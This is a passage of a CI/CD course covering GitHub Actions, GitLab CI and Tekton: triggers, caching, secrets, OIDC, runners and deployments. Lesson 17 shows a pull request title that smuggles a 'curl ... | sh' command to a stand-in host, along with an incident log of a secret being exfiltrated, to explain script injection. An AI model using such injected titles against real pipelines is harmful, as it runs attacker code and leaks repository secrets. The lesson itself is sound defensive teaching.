Each run lists jobs, steps and logs. A failing step turns the job red and skips later steps unless they use `if: always()`. Use `if: failure()` for cleanup that must run after errors. Enable debug logging by setting the repository secret `ACTIONS_STEP_DEBUG` to `true` when you need more detail.

MARGA by EknathaLabs marga.eknathalabs.com

The default token

Every run gets a `GITHUB_TOKEN`. Set `permissions:` at the top to the minimum, usually `contents: read`, and raise it per job only where needed, for example `packages: write` to push an image. A default that is too broad turns a compromised step into write access to your repository.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How GitHub Actions: workflows, jobs and steps fits together

Part	What it does	What goes wrong
Structure	A workflow is one YAML file in .github/workflows/.	Assuming jobs share a filesystem.
Passing data	Steps write name=value lines to the file named by $GITHUB_OUTPUT, and a job exposes them through outputs.	Forgetting that later steps skip after a failure.
Reading a run	Each run lists jobs, steps and logs. A failing step turns the job red and skips later steps unless they use if: always().	A failing step turns the job red and skips later steps unless they use if: always().
The default token	Every run gets a GITHUB_TOKEN. Set permissions: at the top to the minimum, usually contents: read, and raise it per job only where needed, for example packages: write to...	Leaving the default token permissions broad.

Flow: Structure to Passing data / Passing data to Reading a run / Reading a run to The default token

Incident: The job that could not find its build

Incident: *A test job failed because the build output did not exist there.*

```
Run make test
make: *** No rule to make target 'dist/app'. Stop.
Error: Process completed with exit code 2.
```

The build job produced dist/app, but the test job started on a new runner where it did not exist. The author had assumed a shared disk. Uploading dist as an artifact in the build job and downloading it in the test job fixed it, and a comment now explains that jobs do not share files.

Common mistakes

- Assuming jobs share a filesystem
- Leaving the default token permissions broad
- Putting secrets directly in run lines instead of the env block
- Forgetting that later steps skip after a failure

Check yourself

What isolates files between jobs?

Answer: Each job runs on a fresh runner

How do you order two jobs?

Answer: needs

Where do you set token permissions first?

Answer: At the top of the workflow with permissions

How does a step pass a value to later jobs?

Answer: Write to GITHUB_OUTPUT and expose it as a job output

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 15. GitHub Actions: triggers, matrices and caching

13 minutes. Choose the right triggers, run a build matrix, cancel stale runs and cache dependencies to keep Actions fast and predictable.

A workflow that runs on everything is slow and expensive, and one that misses an important event is useless. This lesson covers triggers that match intent, matrices that test several versions and caches that stop rebuilding what has not changed.

What you will learn

- Common triggers and path and branch filters
- Build matrices with include, exclude and fail-fast
- Concurrency groups that cancel stale runs
- Caching with keys and restore keys

Triggers

```
on:
  push:
    branches: [main]
    paths: ['src/**', 'package-lock.json']
  pull_request:
    types: [opened, synchronize, reopened]
  schedule:
    - cron: '17 3 * * 1'
  workflow_dispatch:
```

`push` and `pull_request` are the everyday triggers. `paths` skips runs that cannot be affected. `schedule` uses UTC cron, and `workflow_dispatch` adds a manual button. Be careful with `pull_request_target`: it runs with write access and secrets in the context of the base branch, so never check out and run untrusted pull request code there.

Matrices

```
jobs:
  test:
    strategy:
      fail-fast: false
      matrix:
        node: [18, 20, 22]
        os: [ubuntu-latest, windows-latest]
        exclude:
          - os: windows-latest
            node: 18
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node }}
      - run: npm test
```

A matrix creates one job per combination. `fail-fast: false` lets the others finish so you see every failure. Use `exclude` to drop combinations and `include` to add special ones. Large matrices multiply cost, so test the edges of your support range, not every value.

Concurrency and caching

```
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true
```

MARGA by EknathaLabs marga.eknathalabs.com

This cancels an older run when a newer commit lands on the same branch. Do not use it for deployments to production, where you want runs to queue instead.

```
- uses: actions/cache@v4
  with:
    path: ~/.npm
    key: npm-${{ hashFiles('**/package-lock.json') }}
    restore-keys: npm-
```

The **key** must change when dependencies change, so hash the lockfile. `restore-keys` allow a partial hit that still saves time. Caches are shared by branch scope and are not for secrets or build outputs you rely on being fresh.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How GitHub Actions: triggers, matrices and caching fits together

Part	What it does	What goes wrong
Triggers	push and pull_request are the everyday triggers.	Using pull_request_target to run untrusted code.
Matrices	A matrix creates one job per combination.	Running every workflow on every push.
Concurrency and caching	This cancels an older run when a newer commit lands on the same branch.	Cache keys that never change, so stale dependencies persist.

Flow: Triggers to Matrices / Matrices to Concurrency and caching

Incident: Two deploys at once

Incident: *Two runs deployed to production at the same time and left a mixed release.*

```
run 812: deploying build 41
run 813: deploying build 42
cancelled run 812 midway
service reports versions 41 and 42
```

Cancel-in-progress had been copied from the test workflow to the deploy workflow. A newer push cancelled a deployment halfway through and left the service half updated. The team separated the two: tests cancel stale runs, while deployments use a concurrency group that queues and never cancels.

Common mistakes

- Running every workflow on every push
- Using pull_request_target to run untrusted code
- Cache keys that never change, so stale dependencies persist
- Cancelling in-progress deployments

Check yourself

What makes a good cache key for dependencies?

Answer: A hash of the lockfile

What does fail-fast false do in a matrix?

Answer: Lets other combinations finish after one fails

What should you avoid with pull_request_target?

Answer: Checking out and running untrusted pull request code

Where is cancel-in-progress usually unsafe?

Answer: Production deployments

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 16. GitHub Actions: reusable workflows and composite actions

13 minutes. Remove copy and paste between repositories with reusable workflows, composite actions and sensible versioning.

Copying a workflow into every repository works until the first change that must be made everywhere. Actions offers two sharing tools, and choosing the right one keeps pipelines small, consistent and easy to update.

What you will learn

- When to use a reusable workflow and when a composite action
- Defining inputs, secrets and outputs
- Calling a shared workflow safely
- Versioning shared automation

Reusable workflows

```
# .github/workflows/deploy.yml in the platform repository
on:
  workflow_call:
    inputs:
      environment:
        type: string
        required: true
    secrets:
      deploy_key:
        required: true
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    steps:
      - uses: actions/checkout@v4
      - run: ./deploy.sh
        env:
          DEPLOY_KEY: ${{ secrets.deploy_key }}

# a service repository
jobs:
  release:
    uses: acme/platform/.github/workflows/deploy.yml@v2
    with:
      environment: staging
    secrets:
      deploy_key: ${{ secrets.STAGING_KEY }}
```

A reusable workflow is a whole job set triggered by `workflow_call`. The caller uses it at the job level, passes inputs and passes secrets explicitly. It runs as its own jobs, so it can have its own runners, environments and permissions.

Composite actions

```
# .github/actions/setup-tools/action.yml
name: setup-tools
description: Install the standard toolchain
inputs:
  version:
    description: Tool version
    default: '1.8'
runs:
  using: composite
  steps:
    - run: ./install-tools.sh ${{ inputs.version }}
      shell: bash
```

MARGA by EknathaLabs
marga.eknathalabs.com

A composite action packages several **steps** that you call inside any job with `uses`. It is best for small repeated sequences such as setup. It does not create jobs, runners or environments.

Choosing and versioning

Use a reusable workflow to standardize a whole pipeline stage, such as build and deploy. Use a composite action for a few steps inside a job. Callers should pin to a release tag, or a full commit SHA when the source is outside your control, never to a moving branch. Publish changelogs and keep old major versions working for a while, so one change does not break forty pipelines at once.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How GitHub Actions: reusable workflows and composite... fits together

Part	What it does	What goes wrong
Reusable workflows	A reusable workflow is a whole job set triggered by workflow_call.	Calling shared workflows at a moving branch.
Composite actions	A composite action packages several steps that you call inside any job with uses.	Using a composite action where separate jobs are needed.
Choosing and versioning	Use a reusable workflow to standardize a whole pipeline stage, such as build and deploy.	Passing every secret with inherit when two are needed.

Flow: Reusable workflows to Composite actions / Composite actions to Choosing and versioning

Incident: The shared workflow that changed overnight

Incident: *A moving branch reference let a shared change break every service.*

```
run: uses acme/platform/.github/workflows/build.yml@main
error: input 'cache-key' is required
38 workflows failed
```

Callers referenced the shared workflow at main. A well-meaning change added a required input, and every service pipeline failed at once. The platform team moved callers to version tags, released the change as a new major version with notes and let teams upgrade on their own schedule.

Common mistakes

- Calling shared workflows at a moving branch
- Passing every secret with inherit when two are needed
- Using a composite action where separate jobs are needed
- Shipping shared pipeline changes without a changelog

Check yourself

Which trigger makes a workflow reusable?

Answer: workflow_call

What does a composite action package?

Answer: Several steps

How should callers reference shared workflows?

Answer: A tag or full commit SHA

What must a caller do with secrets?

Answer: Pass them explicitly or deliberately inherit them

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 17. GitHub Actions: secrets, OIDC and hardening

14 minutes. Protect secrets in Actions, replace long-lived cloud keys with OIDC, pin third-party actions and limit what pull requests can do.

A workflow is code that runs with credentials, so it deserves the same care as production access. The main risks are leaked secrets, malicious third-party actions and untrusted input reaching a shell, and each has a clear defense.

What you will learn

- Storing secrets at the right scope and keeping them out of logs
- Using OIDC instead of long-lived cloud keys
- Pinning third-party actions and limiting token scope
- Avoiding script injection from untrusted input

Secrets

Secrets can be set at repository, environment or organization level. Prefer **environment secrets** for production, with required reviewers so a person approves before a job gets them. Secrets are masked in logs, but masking is not protection: a script can transform a secret and print it. Never echo secrets, and give each job only the ones it needs.

OIDC instead of stored keys

```
permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/ci-deploy
          aws-region: eu-west-1
      - run: aws sts get-caller-identity
```

With **OpenID Connect**, the workflow requests a short-lived signed token and the cloud provider exchanges it for temporary credentials. The cloud role's trust policy limits which repository, branch or environment may assume it. No long-lived access key is stored in the repository, so there is nothing to leak or rotate.

Pin and restrict

Third-party actions run with your job's access. Pin them to a full commit SHA, review updates, and let automated dependency updates propose new versions. Set `permissions:` to the minimum and require approval for workflows from first-time outside contributors.

Script injection

```
# Unsafe: the title becomes part of the shell script
- run: echo "${{ github.event.pull_request.title }}"

# Safer: pass it as data through an environment variable
- run: echo "$TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}
```

Expressions in `${{ }}` are substituted into the script **before** the shell runs. A title such as `"; curl evil.sh | sh #` becomes code. Treat titles, branch names, issue text and commit messages as untrusted and pass them through environment variables.

MARGA by EknathaLabs marga.eknathalabs.com

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How GitHub Actions: secrets, OIDC and hardening fits together

Part	What it does	What goes wrong
Secrets	Secrets can be set at repository, environment or organization level.	Using third-party actions by tag only.
OIDC instead of stored keys	With OpenID Connect, the workflow requests a short-lived signed token and the cloud provider exchanges it for temporary credentials.	Storing long-lived cloud keys when OIDC is available.
Pin and restrict	Third-party actions run with your job's access.	Granting write permissions by default.
Script injection	Expressions in `${{ }}` are substituted into the script before the shell runs.	Interpolating untrusted text into shell lines.

Flow: Secrets to OIDC instead of stored keys / OIDC instead of stored keys to Pin and restrict / Pin and restrict to Script injection

Incident: A pull request title ran a command

Incident: *A crafted pull request title executed shell code inside a workflow.*

```
Run echo "Fix typo"; curl http://x.example/s | sh #"
% Total  % Received
secret DEPLOY_TOKEN exposed to external host
```

The workflow echoed the title with an inline expression. The attacker's title closed the string and ran a download. The fix was to pass the title through an environment variable, move deployment secrets to a protected environment, rotate the token and add a review rule for workflows triggered by outside contributors.

Common mistakes

- Interpolating untrusted text into shell lines
- Storing long-lived cloud keys when OIDC is available
- Using third-party actions by tag only
- Granting write permissions by default

Check yourself

What does OIDC remove from a repository?

Answer: Long-lived cloud access keys

What is the safest way to use untrusted input in a script?

Answer: Pass it as an environment variable

Why pin actions to a commit SHA?

Answer: A tag can be moved to different code

What permission lets a job request an OIDC token?

Answer: id-token: write

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 18. GitHub Actions: runners, environments and deployments

13 minutes. Choose hosted or self-hosted runners, protect deployments with environments and approvals, and keep runner fleets safe and scalable.

Two decisions shape most Actions setups: where jobs run and how deployments are protected. Hosted runners are easy but limited, self-hosted runners are powerful but risky, and environments add the human and technical gates that production deserves.

What you will learn

- Hosted versus self-hosted runners and when to choose each
- Why ephemeral runners are safer
- Environments, reviewers and scoped secrets
- Deploy jobs with concurrency and rollback thinking

Choosing runners

Hosted runners are fresh virtual machines that the platform patches and discards, with fixed sizes and per-minute billing. Choose **self-hosted** runners when jobs need private network access, special hardware such as GPUs, large caches or lower unit cost at scale. Select them with labels:

```
jobs:
  build:
    runs-on: [self-hosted, linux, x64, gpu]
```

Make self-hosted runners ephemeral

A long-lived runner keeps files, caches and credentials from earlier jobs. The safer pattern is an **ephemeral** runner that registers, runs one job and is destroyed, usually launched on demand by an autoscaler such as a Kubernetes controller. Never attach self-hosted runners to public repositories, because a pull request from a stranger could run code inside your network.

Environments

```
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://shop.example.com
    concurrency:
      group: deploy-production
      cancel-in-progress: false
    steps:
      - uses: actions/checkout@v4
      - run: ./deploy.sh
        env:
          TOKEN: ${{ secrets.PROD_TOKEN }}
```

An **environment** can require reviewers, add a wait timer, limit which branches may deploy and hold its own secrets. The job pauses until a reviewer approves, and the deployment is recorded with its URL. The concurrency group queues deployments one at a time.

Deployment habits

Deploy the artifact you tested, by digest or version, not a fresh rebuild. Run a smoke test after deploy and make rollback a normal path: redeploy the previous version through the same workflow. Record who approved and what shipped.

MARGA by EknathaLabs marga.eknathalabs.com

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How GitHub Actions: runners, environments and... fits together

Part	What it does	What goes wrong
Choosing runners	Hosted runners are fresh virtual machines that the platform patches and discards, with fixed sizes and per-minute billing.	Long-lived self-hosted runners shared across trust levels.
Make self-hosted runners ephemeral	A long-lived runner keeps files, caches and credentials from earlier jobs.	Self-hosted runners on public repositories.
Environments	An environment can require reviewers, add a wait timer, limit which branches may deploy and hold its own secrets.	Production deploys with no approval or branch restriction.
Deployment habits	Deploy the artifact you tested, by digest or version, not a fresh rebuild.	Rebuilding for deploy instead of promoting the tested artifact.

Flow: Choosing runners to Make self-hosted runners ephemeral / Make self-hosted runners ephemeral to Environments / Environments to Deployment habits

Incident: The runner that remembered

Incident: *A leftover credential on a long-lived runner was used by a later job.*

```
Run ls ~/.aws
credentials  config
job 7731 used role from job 7702
```

The team ran a handful of permanent self-hosted runners. An earlier job wrote credentials to the home directory and never cleaned up. A different repository's job later found and used them. The team moved to ephemeral runners created per job, one runner group per trust level and OIDC so no key was written to disk.

Common mistakes

- Long-lived self-hosted runners shared across trust levels
- Self-hosted runners on public repositories
- Production deploys with no approval or branch restriction
- Rebuilding for deploy instead of promoting the tested artifact

Check yourself

What makes a runner ephemeral?

Answer: It runs one job then is destroyed

What can an environment add?

Answer: Required reviewers and scoped secrets

When pick self-hosted runners?

Answer: Private network access or special hardware

Why avoid self-hosted runners on public repositories?

Answer: Strangers' pull requests could run code in your network

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 19. GitLab CI: pipelines, stages and jobs

14 minutes. Write a .gitlab-ci.yml with stages, jobs, variables and images, and understand how pipelines, jobs and runners fit together.

GitLab CI is part of the GitLab product and is configured by one YAML file at the root of the repository. Learn the vocabulary of stages, jobs, scripts and images, and you can read almost any GitLab pipeline.

What you will learn

- The structure of .gitlab-ci.yml
- How stages and jobs run
- Choosing images and writing scripts
- Using variables and predefined variables

The file

```
stages: [build, test, deploy]

default:
  image: node:20-alpine

variables:
  NODE_ENV: test

build:
  stage: build
  script:
    - npm ci
    - npm run build
  artifacts:
    paths: [dist/]
    expire_in: 1 day

unit:
  stage: test
  script:
    - npm test

lint:
  stage: test
  script:
    - npm run lint

deploy:
  stage: deploy
  script:
    - ./deploy.sh "$CI_COMMIT_SHORT_SHA"
  environment: production
  when: manual
```

Stages run in order and jobs inside a stage run in parallel. A job runs in the container named by `image`, and `script` is the list of commands. `before_script` and `after_script` wrap it. Here `unit` and `lint` run at the same time after `build` finishes.

Variables

GitLab provides predefined variables such as `CI_COMMIT_SHA`, `CI_COMMIT_BRANCH` and `CI_PIPELINE_ID`. You set your own in `variables:` at file or job level, or in project settings where they can be **masked** and **protected**. A job-level value overrides a file-level one.

MARGA by EknathaLabs
marga.eknathalabs.com

Faster pipelines with needs

```
unit:
  stage: test
  needs: [build]
  script: [npm test]
```

With `needs`, a job starts as soon as the jobs it names finish, even if the rest of its stage is still running. This turns the stage list into a graph and often shortens pipelines a lot.

Reading a pipeline

The pipeline page shows jobs as boxes by stage. Open a job to see the log, the image and the runner that ran it. Use `CI Lint` in the editor to check syntax before pushing, and retry only the failed job instead of the whole pipeline.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How GitLab CI: pipelines, stages and jobs fits together

Part	What it does	What goes wrong
The file	Stages run in order and jobs inside a stage run in parallel.	Storing secrets in the YAML file.
Variables	GitLab provides predefined variables such as CI_COMMIT_SHA, CI_COMMIT_BRANCH and CI_PIPELINE_ID.	Hard-coding values instead of variables.
Faster pipelines with needs	With needs, a job starts as soon as the jobs it names finish, even if the rest of its stage is still running.	Not using needs, so jobs wait unnecessarily.
Reading a pipeline	The pipeline page shows jobs as boxes by stage.	Putting slow jobs first so feedback is late.

Flow: The file to Variables / Variables to Faster pipelines with needs / Faster pipelines with needs to Reading a pipeline

Incident: The stage that waited for nothing

Incident: *A pipeline took 40 minutes because every stage waited for the one before it.*

```
Pipeline #5521 duration: 40m12s
build 6m  test 21m  package 4m (waited 21m)
package depended only on build
```

The package job needed only build output but sat in a later stage and waited for the slow tests. Adding needs: [build] let it start immediately, and the pipeline dropped to 28 minutes. The team also moved quick lint to the first stage so developers saw feedback within two minutes.

Common mistakes

- Putting slow jobs first so feedback is late
- Not using needs, so jobs wait unnecessarily
- Hard-coding values instead of variables
- Storing secrets in the YAML file

Check yourself

How do jobs in one stage run?

Answer: In parallel

What lets a job start before its stage begins?

Answer: needs

MARGA by EknathaLabs marga.eknathalabs.com

Where do you set the container image for all jobs?

Answer: default

Which variable holds the short commit hash?

Answer: CI_COMMIT_SHORT_SHA

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 20. GitLab CI: rules, artifacts and caches

13 minutes. Control when jobs run with rules, pass build output with artifacts and speed pipelines with caches that are keyed correctly.

Real pipelines do different things for merge requests, the default branch and tags. GitLab expresses that with rules, and it gives you two tools for keeping files, artifacts and caches, which look similar but have very different guarantees.

What you will learn

- Writing rules with if, changes and exists
- Preventing duplicate pipelines with workflow rules
- When to use artifacts and when caches
- Cache keys, policies and expiry

Rules

```
workflow:
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS
      when: never
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
    - if: $CI_COMMIT_TAG

docs:
  script: make docs
  rules:
    - changes: [docs/**/*]

release:
  script: ./release.sh
  rules:
    - if: $CI_COMMIT_TAG
      when: on_success
    - when: never
```

`rules` are checked in order and the first match decides. A job with no matching rule is not added. `workflow:rules` controls whether the whole pipeline is created, which is how you stop the duplicate branch and merge request pipelines. Prefer `rules` over the older `only` and `except`, and do not combine them in one job.

Artifacts and caches

```
build:
  script: [make build]
  artifacts:
    paths: [dist/]
    expire_in: 1 week
    reports:
      junit: report.xml

test:
  cache:
    key:
      files: [package-lock.json]
    paths: [.npm/]
    policy: pull-push
  script: [npm ci --cache .npm, npm test]
```

Artifacts are uploaded to GitLab, passed to later jobs and downloadable, so use them for results you must rely on: binaries, reports and test output. **Cache** stores dependency files between pipelines on the runner side or in object storage, and it may be missing, so every job must work without it. Key the cache

MARGA by EknathaLabs marga.eknathalabs.com

by the lockfile so it refreshes when dependencies change, and use `policy: pull` in jobs that only read it.

Pitfalls

Do not put build outputs in the cache and expect them later. Set `expire_in` on artifacts so storage does not grow without bound. Never place secrets in artifacts, because anyone with access can download them.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How GitLab CI: rules, artifacts and caches fits together

Part	What it does	What goes wrong
Rules	rules are checked in order and the first match decides.	Mixing only and except with rules in one job.
Artifacts and caches	Artifacts are uploaded to GitLab, passed to later jobs and downloadable, so use them for results you must rely on: binaries, reports and test output.	Cache keys that never change.
Pitfalls	Do not put build outputs in the cache and expect them later.	Relying on cache for build outputs.

Flow: Rules to Artifacts and caches / Artifacts and caches to Pitfalls

Incident: Two pipelines for one change

Incident: *Every merge request ran a branch pipeline and a merge request pipeline.*

```
Pipeline #901 for branch feature/login
Pipeline #902 for merge request !44
same commit, same jobs, double runner time
```

Jobs had no rules, so GitLab created a pipeline for the branch push and another for the merge request. The team added workflow rules that run merge request pipelines and skip the branch pipeline when a merge request is open, which removed half of the load and the confusing duplicate statuses.

Common mistakes

- Mixing only and except with rules in one job
- Relying on cache for build outputs
- Artifacts without expiry
- Cache keys that never change

Check yourself

Which file type is guaranteed to reach later jobs?

Answer: Artifacts

What does workflow rules control?

Answer: Whether the whole pipeline is created

How should a dependency cache be keyed?

Answer: By the lockfile contents

What happens when no rule matches a job?

Answer: The job is not added to the pipeline

MARGA by EknathaLabs marga.eknathalabs.com

Lesson 21. GitLab CI: includes, templates and child pipelines

14 minutes. Share pipeline configuration with include and extends, split large pipelines into parent and child pipelines and generate jobs dynamically.

One file works for a small project, but a company with hundreds of repositories needs sharing. GitLab gives you includes, inheritance and downstream pipelines so common logic lives in one place and large repositories do not run everything every time.

What you will learn

- Using include to share configuration
- Reusing blocks with extends and hidden jobs
- Parent and child pipelines for monorepos
- Generating a child pipeline dynamically

Include and extends

```
include:
  - project: platform/ci-templates
    ref: v3.2.0
    file: /templates/build.yml
  - local: /ci/lint.yml

.deploy-base:
  image: registry.example.com/tools/deploy:1.9
  before_script:
    - ./login.sh

deploy-staging:
  extends: .deploy-base
  script: ./deploy.sh staging

deploy-prod:
  extends: .deploy-base
  script: ./deploy.sh production
  when: manual
```

`include` pulls in files from the same project, another project, a remote URL or GitLab's own templates. Always set `ref` to a tag so a template change cannot break every project unexpectedly. A job starting with a dot is **hidden**: it does not run, but other jobs can inherit from it with `extends`, and the child's keys override the parent's.

Parent and child pipelines

```
trigger-api:
  trigger:
    include: services/api/.gitlab-ci.yml
    strategy: depend
  rules:
    - changes: [services/api/**/*]
```

A **child pipeline** is a separate pipeline started by a job in the parent. With `strategy: depend` the parent waits and takes the child's result. Combined with `changes`, only affected services run, which is the usual answer for monorepos.

MARGA by EknathaLabs marga.eknathalabs.com

Dynamic child pipelines

```
generate:
  stage: build
  script: ./make-pipeline.sh > generated.yml
  artifacts:
    paths: [generated.yml]

run-generated:
  stage: test
  trigger:
    include:
      - artifact: generated.yml
        job: generate
```

A script writes a YAML file as an artifact, and the next job triggers it as a pipeline. Use this when the set of jobs depends on the change, such as one job per modified package. Keep generators simple and test the generated YAML, because an error appears only at run time.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How GitLab CI: includes, templates and child pipelines fits together

Part	What it does	What goes wrong
Include and extends	include pulls in files from the same project, another project, a remote URL or GitLab's own templates.	Including shared templates from a moving branch.
Parent and child pipelines	A child pipeline is a separate pipeline started by a job in the parent.	Dynamic pipelines with no tests for the generator.
Dynamic child pipelines	A script writes a YAML file as an artifact, and the next job triggers it as a pipeline.	Running all services on every change in a monorepo.

Flow: Include and extends to Parent and child pipelines / Parent and child pipelines to Dynamic child pipelines

Incident: The template that broke every project

Incident: *An unpinned shared template change failed pipelines across the company.*

```
include: project platform/ci-templates, ref main
error: jobs:build config contains unknown keys: cahce
112 pipelines failed in 10 minutes
```

A typo was merged to the shared template, and every project followed the main branch. The platform team pinned includes to version tags, added tests that lint the template against sample projects and published a release process, so changes roll out gradually.

Common mistakes

- Including shared templates from a moving branch
- Deeply nested includes nobody can follow
- Dynamic pipelines with no tests for the generator
- Running all services on every change in a monorepo

Check yourself

What does a hidden job start with?

Answer: A dot

What does strategy depend do on a trigger job?

Answer: The parent waits for the child pipeline result

MARGA by EknathaLabs marga.eknathalabs.com

How should include refs be set?

Answer: Pinned to a tag

When use a dynamic child pipeline?

Answer: When the jobs depend on what changed

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 22. GitLab CI: runners, environments and security

14 minutes. Run GitLab CI on shared or self-managed runners, choose an executor, protect variables and branches and use environments and approvals.

The pipeline file says what to do, but runners, variables and environments decide where it runs and what it can touch. This lesson covers how to pick runners, how to keep secrets limited to trusted code and how to put human gates in front of production.

What you will learn

- Runner scopes, tags and executors
- Protected and masked variables
- Environments, approvals and protected branches
- Short-lived credentials with ID tokens

Runners

A **runner** polls GitLab for jobs. It can be shared across an instance, assigned to a group or dedicated to one project. The **executor** decides how a job runs: `docker` starts a container per job, `kubernetes` starts a pod, and `shell` runs directly on the host, which is the least isolated. Use tags to route work:

```
gpu-test:
  tags: [gpu, linux]
  script: ./run-gpu-tests.sh

# /etc/gitlab-runner/config.toml (excerpt)
concurrent = 4
[[runners]]
  name = "docker-builder"
  executor = "docker"
  [runners.docker]
    image = "alpine:3.20"
    privileged = false
```

Avoid `privileged = true` unless you must build images in Docker, and prefer rootless builders. Never share one runner between code of different trust levels.

Variables

Set secrets under project or group CI/CD variables, not in the YAML. Mark them **masked** so values are hidden in logs and **protected** so only protected branches and tags receive them. Scope a variable to an environment such as `production` so test jobs never see it.

Environments and approvals

```
deploy-prod:
  stage: deploy
  script: ./deploy.sh
  environment:
    name: production
    url: https://shop.example.com
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
      when: manual
```

An **environment** records deployments, links to the running site and can require approval before a job starts. Combine it with protected branches so only reviewed code can reach the production job.

MARGA by EknathaLabs marga.eknathalabs.com

Identity without stored keys

```
deploy:
  id_tokens:
    CLOUD_TOKEN:
      aud: https://cloud.example.com
  script: ./exchange-token-and-deploy.sh
```

An **ID token** is a short-lived signed token that the job can exchange with a cloud provider that trusts your GitLab, replacing stored keys.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How GitLab CI: runners, environments and security fits together

Part	What it does	What goes wrong
Runners	A runner polls GitLab for jobs. It can be shared across an instance, assigned to a group or dedicated to one project.	Privileged Docker runners for everything.
Variables	Set secrets under project or group CI/CD variables, not in the YAML.	Secrets that are not protected or masked.
Environments and approvals	An environment records deployments, links to the running site and can require approval before a job starts.	Production jobs that any branch can start.
Identity without stored keys	An ID token is a short-lived signed token that the job can exchange with a cloud provider that trusts your GitLab, replacing stored keys.	Identity without stored keys An ID token is a short-lived signed token that the job can exchange with a cloud provider that trusts your...

Flow: Runners to Variables / Variables to Environments and approvals / Environments and approvals to Identity without stored keys

Incident: The variable in the merge request log

Incident: *A fork's merge request pipeline printed a production token.*

```
$ env | sort | grep API
API_TOKEN=prod-4f9a...
pipeline source: merge_request_event
```

The token was an ordinary variable available to every pipeline. A contributor's merge request added a debug line and revealed it. The team rotated the token, marked it protected and masked, scoped it to the production environment and required approval for pipelines from forks.

Common mistakes

- Secrets that are not protected or masked
- Shell executors shared by unrelated projects
- Privileged Docker runners for everything
- Production jobs that any branch can start

Check yourself

Which setting limits a variable to protected branches?

Answer: Protected

Which executor is least isolated?

Answer: shell

What does an environment add?

MARGA by EknathaLabs marga.eknathalabs.com

Answer: Deployment tracking and optional approvals

What replaces stored cloud keys?

Answer: ID tokens

MARGA by EknathaLabs
marga.eknathalabs.com

Lesson 23. Tekton: tasks, pipelines and workspaces

14 minutes. Build Tekton Tasks and Pipelines, pass data with params, results and workspaces and run them with TaskRuns and PipelineRuns.

Tekton is a Kubernetes-native CI and delivery framework. Everything is a custom resource, so pipelines are applied with kubectl, scheduled as pods and observable with the same tools as any other workload.

What you will learn

- Writing a Task with steps and params
- Linking tasks into a Pipeline
- Sharing data with workspaces and results
- Running with TaskRun and PipelineRun

Task

```
apiVersion: tekton.dev/v1
kind: Task
metadata:
  name: build-image
spec:
  params:
    - name: image
      type: string
  workspaces:
    - name: source
  results:
    - name: digest
  steps:
    - name: build
      image: gcr.io/kaniko-project/executor:latest
      args:
        - --context=$(workspaces.source.path)
        - --destination=$(params.image)
        - --digest-file=$(results.digest.path)
```

A **Task** runs as one pod, and each **step** is a container in it. Steps share the pod's files and run in order. Params are inputs, results are small outputs and a **workspace** is a mounted directory for larger data.

Pipeline

```
apiVersion: tekton.dev/v1
kind: Pipeline
metadata:
  name: ci
spec:
  params:
    - name: image
  workspaces:
    - name: shared
  tasks:
    - name: build
      taskRef:
        name: build-image
      params:
        - name: image
          value: $(params.image)
      workspaces:
        - name: source
          workspace: shared
    - name: scan
      runAfter: [build]
      taskRef:
        name: scan-image
```

MARGA by EknathaLabs marga.eknathalabs.com

A **Pipeline** lists tasks and orders them with `runAfter` or by using another task's result. Tasks run as separate pods, possibly on different nodes, so data between them must travel through a workspace or a result.

Running

```
tkn pipeline start ci --param image=registry.example.com/app:1.4 \
  --workspace name=shared,claimName=ci-cache --showlog
kubectl get pipelineruns,taskruns
```

A **PipelineRun** supplies real params and volumes and creates one TaskRun per task. Inspect logs with `tkn pipelinerun logs`, and use `kubectl describe` to see scheduling and volume problems.

How the parts fit together

The lesson in one picture: each box is a section of this lesson, in the order you meet it. Select a box to see what it does and the mistake that usually goes with it.

Diagram: How Tekton: tasks, pipelines and workspaces fits together

Part	What it does	What goes wrong
Task	A Task runs as one pod, and each step is a container in it.	Using large results instead of workspaces.
Pipeline	A Pipeline lists tasks and orders them with runAfter or by using another task's result.	Assuming tasks share a filesystem.
Running	A PipelineRun supplies real params and volumes and creates one TaskRun per task.	Check the Common mistakes list below this diagram for what usually goes wrong here.

Flow: Task to Pipeline / Pipeline to Running

Incident: The task that could not see the source

Incident: *A second task found an empty directory because tasks run in separate pods.*

```
